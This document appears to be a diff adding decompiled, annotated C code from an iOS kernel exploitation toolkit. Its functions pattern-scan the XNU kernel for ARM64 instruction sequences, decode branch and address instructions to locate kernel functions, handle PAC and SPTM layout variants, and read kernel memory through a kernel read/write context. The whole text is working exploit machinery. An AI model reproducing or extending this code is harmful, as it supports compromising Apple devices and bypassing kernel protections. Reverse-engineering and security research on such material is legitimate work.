+ 4]) & 0x9F000000) != 0x90000000 + || (unsigned int)macho_read_u32(a1, (__int64 *)&v3[v4 + 12]) >> 21 != 1112 ) + { + v4 += 4LL; + if ( v4 >= 0xFC ) + return 0; + } + return find_kernel_func_by_branch(a1, (__int64 *)&v3[v4 + 4], 1); + } + } + return result; +} + +//----- (000000000001E800) ---------------------------------------------------- +char *__fastcall resolve_branch_target(__int64 *a1, __int64 *a2) +{ + unsigned int insn; // w0 + __int64 imm26; // x8 + + insn = (unsigned int)macho_read_u32(a1, a2); + if ( (insn & 0x7C000000) != 0x14000000 ) + return 0; + imm26 = insn & 0x1FFFFFF; + if ( (insn & 0x2000000) != 0 ) + imm26 |= 0xFFFFFFFFFE000000LL; + if ( !imm26 ) + return 0; + return (char *)a2 + 4 * imm26; +} + +//----- (000000000001E854) ---------------------------------------------------- +unsigned __int64 __fastcall find_kernel_func(__int64 *a1, __int64 *a2) +{ + return (unsigned __int64)find_kernel_func_by_branch(a1, a2, 1); +} + +//----- (000000000001E85C) ---------------------------------------------------- +unsigned __int64 __fastcall find_kernel_func_versioned(__int64 *someStruct, int *a2) +{ + struct_krwCtx *krwCtx; + __int64 v5; // x0 + unsigned __int64 v6; // x0 + unsigned __int64 v7; // x22 + __int64 v8; // x23 + unsigned __int64 v9; // x21 + int v10; // w8 + unsigned int v12; // [xsp+0h] [xbp-60h] BYREF + unsigned __int64 scan_range[3]; // [xsp+8h] [xbp-58h] BYREF + unsigned __int64 text_range[3]; // [xsp+20h] [xbp-40h] BYREF + + krwCtx = KRWCTX_FROM_UINTPTR(someStruct[35]); + if ( krw_ctx_has_flag(krwCtx, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) ) + { + macho_find_text_section(krwCtx->kernelMachoCtx, text_range); + scan_range[0] = text_range[0]; + scan_range[1] = text_range[1] + text_range[2] - 0x20000; + scan_range[2] = 0x20000; + v5 = kernel_pattern_scan((__int64)scan_range, "2B 09 40 B9 4B 39 0B 8B", 0); + if ( v5 ) + { + v6 = (unsigned __int64)find_kernel_func_by_branch(krwCtx, (__int64 *)(v5 - 40), 1); + if ( v6 ) + { + v7 = v6; + v8 = macho_read_u64_thunk(krwCtx, v6 - 8); + if ( validate_kaddr_range(krwCtx, v8) ) + { + if ( kread_u32(krwCtx, v8, &v12) && v12 - 1 <= 0x1F ) + { + v9 = macho_read_u64_thunk(krwCtx, v7); + if ( validate_kaddr_range(krwCtx, v9) ) + { + v10 = v12; +LABEL_12: + *a2 = v10; + return v9; + } + } + } + } + } + return 0; + } + else + { + v9 = (unsigned __int64)find_kernel_branch_target(someStruct); + if ( v9 ) + { + v10 = 8; + goto LABEL_12; + } + } + return v9; +} +// 19B94: using guessed type __int64 __fastcall macho_read_u64_thunk(uint64_t, uint64_t); + +//----- (000000000001E99C) ---------------------------------------------------- +unsigned __int64 __fastcall find_kread_pattern_versioned(__int64 a1, unsigned __int64 *a2, unsigned __int64 *a3) +{ + int v6; // w22 + char *v7; // x1 + unsigned __int64 result; // x0 + unsigned __int64 v9; // x23 + unsigned __int64 v10; // x22 + uint64_t v11[3]; // [xsp+8h] [xbp-48h] BYREF + + v6 = get_sptm_version_index(a1); + macho_find_text_section(a1, v11); + if ( v6 ) + v7 = "5F 00 00 71 20 01 00 54"; + else + v7 = 0; + result = kernel_pattern_scan((__int64)v11, v7, 0); + if ( result ) + { + v9 = result; + result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(result + 8), 1); + if ( result ) + { + v10 = result; + result = (unsigned __int64)find_kernel_func_by_branch((__int64 *)a1, (__int64 *)(v9 + 24), 1); + if ( result ) + { + result = kread_physmap_decorated(KRWCTX_FROM_RAW_FIELD(a1, 280), result, a2); + if ( (uint32_t)result ) + return kread_physmap_decorated(KRWCTX_FROM_RAW_FIELD(a1, 280), v10, a3); + } + } + } + return result; +} + +//----- (000000000001EA70) ---------------------------------------------------- +__int64 __fastcall find_kernel_func_at_offset(struct_krwCtx *krwCtx, int a2) +{ + __int64 result; // x0 + __int64 v4; // x21 + __int64 *v5; // x19 + unsigned int v6; // w20 + const char *v7; // x8 + char *v8; // x1 + uint64_t v9[3]; // [xsp+8h] [xbp-38h] BYREF + + if ( a2 > 0 ) + return 0; + v4 = KRWCTX_RAW_PTR(krwCtx) + 8LL * a2; + result = *(uint64_t *)(v4 + 6496); + if ( !result ) + { + if ( a2 ) + return 0; + v5 = krwCtx->kernelMachoCtx; + v6 = get_sptm_version_index((__int64)v5); + macho_find_text_section((__int64)v5, v9); + v7 = "09 .. 00 F9 E1 03 00 32 00 00 80 52"; + if ( v6 != 1 ) + v7 = 0; + if ( v6 <= 1 ) + v8 = (char *)v7; + else + v8 = "09 .. 00 F9 00 00 80 52 E1 03 00 32"; + result = kernel_pattern_scan((__int64)v9, v8, 0); + if ( result ) + { + result = (__int64)resolve_branch_target(v5, (__int64 *)(result + 12)); + if ( result ) + *(uint64_t *)(v4 + 6496) = result; + } + } + return result; +} + +//----- (000000000001EB2C) ---------------------------------------------------- +char *__fastcall find_kernel_func_by_branch(__int64 *a1, __int64 *a2, int a3) +{ + char *v3; // x21 + unsigned int v7; // w0 + unsigned int v8; // w0 + __int64 v9; // x9 + unsigned __int64 v10; // x9 + char *v11; // x9 + unsigned int v13; // w23 + __int64 v14; // x8 + char v15; // w25 + int v16; // w23 + __int64 *v17; // x24 + __int64 *v18; // x22 + unsigned int v19; // w0 + __int64 v20; // x8 + bool v21; // cf + unsigned __int64 v22; // x8 + + if ( ((unsigned __int8)a2 & 3) != 0 ) + return 0; + v7 = (unsigned int)macho_read_u32(a1, a2); + if ( v7 == -721215457 ) + { + v8 = (unsigned int)macho_read_u32(a1, (__int64 *)((char *)a2 + 4)); + v9 = (v8 >> 5) & 0x7FFFF; + if ( ((v8 >> 5) & 0x40000LL) != 0 ) + v10 = (4 * v9) | 0xFFFFFFFFFFF00000LL; + else + v10 = 4 * v9; + v11 = (char *)a2 + v10 + 4; + if ( HIBYTE(v8) == 88 ) + return v11; + else + return 0; + } + v13 = v7; + if ( (v7 & 0x9F000000) == 0x90000000 ) + { + v3 = (char *)(((unsigned __int64)a2 & 0xFFFFFFFFFFFFF000LL) + (int)(((v7 >> 17) & 0x3000) | (v7 >> 5 << 14))); + } + else + { + if ( (v7 & 0x9F000000) != 0x10000000 || (unsigned int)macho_read_u32(a1, (__int64 *)((char *)a2 + 4)) != -721215457 ) + return 0; + v14 = ((v13 >> 3) & 0x1FFFFC) | ((v13 >> 29) & 3); + if ( (v14 & 0x100000) != 0 ) + v14 |= 0xFFFFFFFFFFE00000LL; + v3 = (char *)a2 + v14; + } + v15 = 0; + v16 = v13 & 0x1F; + v17 = a2 + 4; + v18 = (__int64 *)((char *)a2 + 4); + while ( 1 ) + { + v19 = (unsigned int)macho_read_u32(a1, v18); + if ( (v19 & 0x7F000000) == 0x11000000 && (v15 & 1) == 0 ) + { + if ( ((v19 >> 5) & 0x1F) == v16 ) + { + v20 = (v19 >> 10) & 0xFFF; + if ( (v19 & 0xC00000) != 0 ) + v20 <<= 12; + v3 += v20; + if ( !a3 || v16 != (v19 & 0x1F) ) + return v3; + v15 = 1; + } + else + { + v15 = 0; + } + } + if ( (v19 & 0xBFC00000) == 0xB9400000 && ((v19 >> 5) & 0x1F) == v16 ) + { + v22 = (unsigned __int64)((v19 >> 10) & 0xFFF) << (v19 >> 30); + goto LABEL_40; + } + if ( (v19 & 0xFFC00000) == 0xB9800000 ) + break; + if ( (v19 & 0xFFC00000) == 0x39400000 && ((v19 >> 5) & 0x1F) == v16 ) + { + v22 = (v19 >> 10) & 0xFFF; + goto LABEL_40; + } +LABEL_35: + if ( v19 != -698416192 ) + { + v21 = v17 >= v18; + v18 = (__int64 *)((char *)v18 + 4); + if ( v21 ) + continue; + } + return v3; + } + if ( ((v19 >> 5) & 0x1F) != v16 ) + goto LABEL_35; + v22 = (v19 >> 8) & 0x3FFC; +LABEL_40: + v3 += v22; + return v3; +} + +//----- (000000000001ED50) ---------------------------------------------------- +__int64 __fastcall get_kernel_version_string_0(char *a1, size_t a2) +{ + host_t v4; // w0 + kern_return_t v5; // w0 + int v7; // w19 + int v8; // w8 + int v9[2]; // [xsp+8h] [xbp-238h] BYREF + size_t v10; // [xsp+10h] [xbp-230h] BYREF + kernel_version_t kernel_version; // [xsp+18h] [xbp-228h] BYREF + + if ( dyldVersionNumber < 800.0 ) + { + v4 = mach_host_self(); + v5 = host_kernel_version(v4, kernel_version); + if ( v5 ) + return v5 | 0x80000000; + goto LABEL_8; + } + *(uint64_t *)v9 = 0x400000001LL; + v10 = 512; + if ( !sysctl(v9, 2u, kernel_version, &v10, 0, 0) ) + { +LABEL_8: + if ( strlen(kernel_version) + 1 > a2 ) + return 708620; + strlcpy(a1, kernel_version, a2); + return 0; + } + v7 = errno; + v8 = errno; + if ( v7 < 0 ) + v8 = -v8; + return v8 | 0x40000000u; +} + +//----- (000000000001EE6C) ---------------------------------------------------- +int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int *a2, int *a3) +{ + int result; // w0 + char *v7; // x0 + int v8; // w0 + size_t v9; // x0 + char *v10; // x0 + __int32 v11[8]; // [xsp+40h] [xbp-250h] + unsigned __int64 v12; // [xsp+58h] [xbp-238h] + char str[512]; // [xsp+58h] [xbp-238h] BYREF + + result = 0; + memset(v11, 0, sizeof(v11)); + v12 = 0; + if ( dyldVersionNumber >= 1000.0 ) + { + __strlcpy_chk(str, ___kernelVersionString, 0x200u, 0x200u); + v9 = strlen(str); + if ( v9 ) + { + if ( str[v9 - 1] == 10 ) + str[v9 - 1] = 0; + if ( madvise(0, 0, 10) ) + { + if ( errno == 45 ) + { + v10 = strstr(str, "Libsyscall-"); + if ( v10 ) + { + v8 = sscanf(v10, "Libsyscall-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]); +LABEL_13: + if ( v8 >= 3 ) + { + *a2 = 1; + *a3 = 1; + v11[5] = (v11[0] << 18) | ((v11[1] & 0x1FF) << 9) | (v11[2] & 0x1FF); + *(uint64_t *)&v11[6] = ((((unsigned __int64)(v11[0] & 0x7FFF) << 20) + | ((unsigned __int64)(v11[1] & 0x3FF) << 10) + | (unsigned int)(v11[2] & 0x3FF)) << 20) + | (((unsigned __int64)(unsigned int)v11[3] << 10) & 0xFFC00) + | (unsigned int)(v11[4] & 0x3FF); + v12 = 1; + xnuMajorVersion->qword20 = v12; + xnuMajorVersion->majorVersion = *(__int128 *)v11; + xnuMajorVersion->oword10 = *(__int128 *)&v11[4]; + result = 1; + } + } + } + } + } + } + else if ( !(unsigned int)get_kernel_version_string_0(str, 0x200u) ) + { + if ( strstr(str, "RELEASE") ) + { + v7 = strstr(str, "xnu-"); + if ( v7 ) + { + v8 = sscanf(v7, "xnu-%d.%d.%d.%d.%d%*s", &v11[0], &v11[1], &v11[2], &v11[3], &v11[4]); + goto LABEL_13; + } + } + } + return result; +} +